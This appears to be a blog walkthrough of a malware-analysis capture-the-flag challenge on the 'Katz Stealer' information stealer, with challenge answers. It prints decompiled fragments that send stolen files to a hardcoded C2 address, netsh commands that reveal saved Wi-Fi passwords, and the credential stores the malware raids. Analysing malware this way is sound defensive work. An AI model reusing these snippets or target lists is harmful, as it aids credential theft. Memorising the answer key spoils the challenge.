June 6, 2026
Katz Stealer: Reverse Engineering a Information Stealer
A Complete Malware Analysis Walkthrough of the MalOps.io Challenge From C2 Communications to Browser Injection and Credential Theft
CHANDRA KANT BAURI
8 min read
I pulled the sample, dropped it into Binary Ninja, If you want to follow along with the original sample, this is the Katz Stealer challenge from https://malops.io/challenges/katz-stealer . Fire up your disassembler and race me.
Chapter 1: "Am I in the right country?"
The very first thing a lot of stealers do isn't steal. It's check who's watching.
I went looking for region strings and stumbled onto a tidy little block in the .**data** section. Searching for the country code "**RU**" dropped me right into it.
A list of two-letter codes, lined up like dominoes:
RU BY KZ KG TJ UZ AM AZ MDRU BY KZ KG TJ UZ AM AZ MDIf you've looked at malware from a certain part of the world. That's the CIS the post-Soviet bloc. Authors hardcode these so the payload politely skips machines in their home region. Don't foul your own nest, don't get a knock on the door.
Cross-referencing **GetLocaleInfoA** confirmed it. The code grabs your keyboard layout and system language, then walks that pointer table to compare.
I wanted to know how big that table was. Nine pointers, eight bytes each on a 64-bit binary:
9 pointers × 8 bytes = 72 bytes9 pointers × 8 bytes = 72 bytes**Challenge Q1: **What is the size in bytes of the memory block containing the sequence of pointers to country code strings?
Answer: 72
Small detail. Big meaning. This was written by someone who did not want it running where they live.
Chapter 2: Reading your locale like a fortune teller
That same **GetLocaleInfoA** call had a constant sitting in its first argument: **0x400**.
A quick trip to the Microsoft docs and the mask fell off. **0x400** is **LOCALE_USER_DEFAULT**, which means "give me the locale of whoever's logged in right now."
**Challenge Q2: **What is the name of the enumeration type for the first parameter of GetLocaleInfoA?
Answer: LOCALE_USER_DEFAULT
So the malware isn't guessing at the machine. It's profiling you, the human at the keyboard, before it decides whether you're worth robbing.
Cold.
Chapter 3: Phoning home
Every stealer has a home to phone. Finding it is half the fun.
I searched for **socket** function and there it was, plain as day:
s = socket(af: 2, type: SOCK_STREAM, protocol: 0);
s = socket(af: 2, type: SOCK_STREAM, protocol: 0);
**SOCK_STREAM** means TCP. No fancy HTTPS, no DNS tunneling. Just a raw, naked socket. Old school.
**Challenge Q3: **What protocol is used by the malware to communicate with the C2 server?
Answer: tcp
And a few lines down, the prize every analyst hopes for: the address and port, hardcoded in the clear.
inet_addr("185.107.74.40");
htons(0xc3b);inet_addr("185.107.74.40");
htons(0xc3b);
**0xc3b** is 3131 in decimal. So the C2 lives at:
185.107.74.40 : 3131185.107.74.40 : 3131**Challenge Q4: **What is the port number used by the malware to connect to the C2 server in decimal?
Answer: 3131
Chapter 4: The download loop (it brings friends)
Before it steals, Katz reaches out and pulls something in. I followed **recv** into a download loop and watched it read a 4-byte length, flip it with **ntohl**, then stream a payload into a file in chunks.
if (len u> 0x1000)
len = 0x1000;if (len u> 0x1000)
len = 0x1000;The cap was **0x1000**, so 4 KB per chunk. This is the classic shape of malware pulling down an injected DLL stage. The stealer is a delivery boy too.
**Challenge Q5: **What is the maximum chunk size the malware uses to download the injected DLL in hex?
Answer: 0x1000
Chapter 5: Hijacking your browser
Here's where it gets personal.
Scrolling on, I hit a wall of string comparisons against process names: **edge**, **chrome**, **brave**.
The matched name gets handed to a function at **0x140002aeb**. Decompiling it shows exactly what you'd dread: it launches the browser under malware control, ready for injection into the very thing you use to log into your bank.
**Challenge Q6: **What is the address of the function responsible for launching browsers for injection in hex?
Answer: 0x140002aeb
And to find the right browser to pounce on, it spins through the running process list. I jumped to **Process32NextW**, hit the cross-references, and landed inside the hunt loop at **0x14000755f**.
It's literally walking every process on your machine, looking for its targets.
**Challenge Q7: **What is the address of the start of the loop that checks if a process matches the target browser executable name in hex?
Answer: 0x14000755f
Chapter 6: Slurping the files out
Once it has a foothold, the exfiltration begins, and Katz is methodical about it. I traced **send** backward into a function that reads a file and ships it straight to the C2:
size_read = fread(&buffer, 1, 0x1000, file_stream);
send(socket, &buffer, size_read, 0);size_read = fread(&buffer, 1, 0x1000, file_stream);
send(socket, &buffer, size_read, 0);
Same 4 KB chunk size, this time flowing out. Read a piece, send a piece, repeat until your file is sitting on someone else's server.
**Challenge Q8: **What is the maximum chunk size the malware uses when sending the file contents to the C2 server in hex?
Answer: 0x1000
Then came the parade of targets.
Discord. It searches for version folders with the wildcard app-*, because Discord buries its real binaries in versioned subfolders like app-1.0.9004, and the malware wants the latest one.
**Challenge Q9: **What is the wildcard used to find Discord version folders?
Answer: app-*
Your cookies. It copies your browser cookie database to a temp file (Cookies_copy.db) and uploads it, retrying up to 3 times if the C2 doesn't answer. Session cookies are gold. They can be replayed to log in as you, no password needed.
**Challenge Q10: **What is the maximum number of retries for uploading the cookies copy to the C2?
Answer: 3
Firefox. It parses profiles.ini, finds each profile, and grabs 6 specific files per profile logins, keys, the works.
**Challenge Q11: **How many important files per profile does the function attempt to find and send?
Answer: 6
Chapter 7: Going after the money
If you hold crypto, this chapter is the one that hurts.
Tracing the format string wallet_dump_%s led me into the wallet-theft routine. Before it copies your wallet files out, it builds a unique staging folder in your temp directory.
The folder name gets a random suffix, generated by a tidy little loop over a 62-character alphabet, seeded with your process ID and the current time:
char charset[] = "abc...XYZ0123456789";
srand(GetCurrentProcessId() + _time64(...));
do {
random_id[i] = charset[rand() % 62];
i++;
} while (i != 0xc); // 0xc = 12char charset[] = "abc...XYZ0123456789";
srand(GetCurrentProcessId() + _time64(...));
do {
random_id[i] = charset[rand() % 62];
i++;
} while (i != 0xc); // 0xc = 12
**0xc** is 12, so the directory gets a 12-character random tail like **wallet_dump_aB3xK9pQ2mZ7**. Exodus, wallet.dat, the lot. Staged and shipped.
**Challenge Q12: **How many characters long is the random ID generated for the temporary wallet dump directory?
Answer: 12
Chapter 8: Reading your messages
Stealers love messaging apps because that's where the 2FA codes and private chats live.
I searched for **Telegram Desktop\tdata** and followed the trail.
It builds the path to Telegram's **tdata** folder, then hands it to a dedicated recursive directory walker at **0x140001ab2** that crawls the directory and uploads everything matching Telegram's internal session formats.
**Challenge Q13: **What is the address of the function used to search the Telegram data?
Answer: 0x140001ab2
If you've ever logged into Telegram Desktop, those files are your account.
Chapter 9: Casing the whole house
By now the pattern is obvious: Katz wants a complete dossier on you. So it also fingerprints the machine itself.
It opens a **System-Information.txt**, calls **GetSystemInfo** to read your CPU core count, and writes it down. Now it has a neat profile of the box it just robbed.
**Challenge Q14: **When the malware writes the CPU core count to the file, which function does it call immediately before writing?
Answer: GetSystemInfo
Then it goes after the infrastructure credentials:
ngrok It reads **C:\Users\<you>\AppData\Local\ngrok\ngrok.yml**, searches each line for **authtoken**:, and steals your tunneling token. With that, someone can stand up tunnels on your account.
**Challenge Q15: **Which configuration filename does the malware specifically look for to extract the ngrok authtoken?
Answer: ngrok.yml
Your Wi-Fi It shells out to Windows' own tools:
netsh wlan show profiles
netsh wlan show profile name="%s" key=clearnetsh wlan show profiles
netsh wlan show profile name="%s" key=clearThe first lists every network you've ever joined the second dumps the passwords in plaintext.
**Challenge Q16: **What command does the malware run to list all saved WiFi profiles on the system?
Answer: netsh wlan show profiles
Foxmail It opens the registry key **HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command** to locate the mail client and rob its stored credentials too.
**Challenge Q17: **Which full registry key is opened to locate the Foxmail executable path?
Answer: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command
Chapter 10: Even your games aren't safe
Just when I thought I'd seen the whole shopping list, I found a function at **0x140003fc0** iterating over a massive hardcoded array of game-launcher paths.
Minecraft (launcher_accounts.json), Steam (ssfn* auth files), and a parade of custom clients — Lunar, Feather, Impact, Novoline, CheatBreaker. Each match gets packaged under a Games/ folder and shipped to the C2.
**Challenge Q18: **What is the address of the function used to extract gaming account data in hex?
Answer: 0x140003fc0
Because of course it steals your gaming accounts too. Why leave anything on the table?
So what did we actually learn?
By the time I closed the disassembler, the sample had stopped looking like a file and started looking like a business plan. One small binary, and look at the haul:
- Skips its home region (CIS) so the authors stay safe
- Profiles your locale before deciding you're a target
- Beacons over raw TCP to
185.107.74.40:3131 - Drains Chrome, Edge, Brave, and Firefox: cookies, logins, keys
- Steals crypto wallets into randomized temp folders
- Lifts Discord and Telegram sessions
- Dumps your saved Wi-Fi passwords in cleartext
- Grabs ngrok tokens and Foxmail credentials
- Loots your game accounts too
Reverse-engineered as part of the Katz Stealer challenge on https://malops.io/challenges/katz-stealer . If this breakdown taught you something, share it with the one friend who keeps downloading "updates" from sketchy emails — you might save their wallet.
Tools used: Binary Ninja. Patience used: considerable.
Want the full technical breakdown every function, screenshot, and answer in one place? The complete writeup lives on GitHub and drop a ⭐ if it helped.
malops.io/Katz Stealer at main · Lynk4/malops.io Malware Analysis CTF. Contribute to Lynk4/malops.io development by creating an account on GitHub.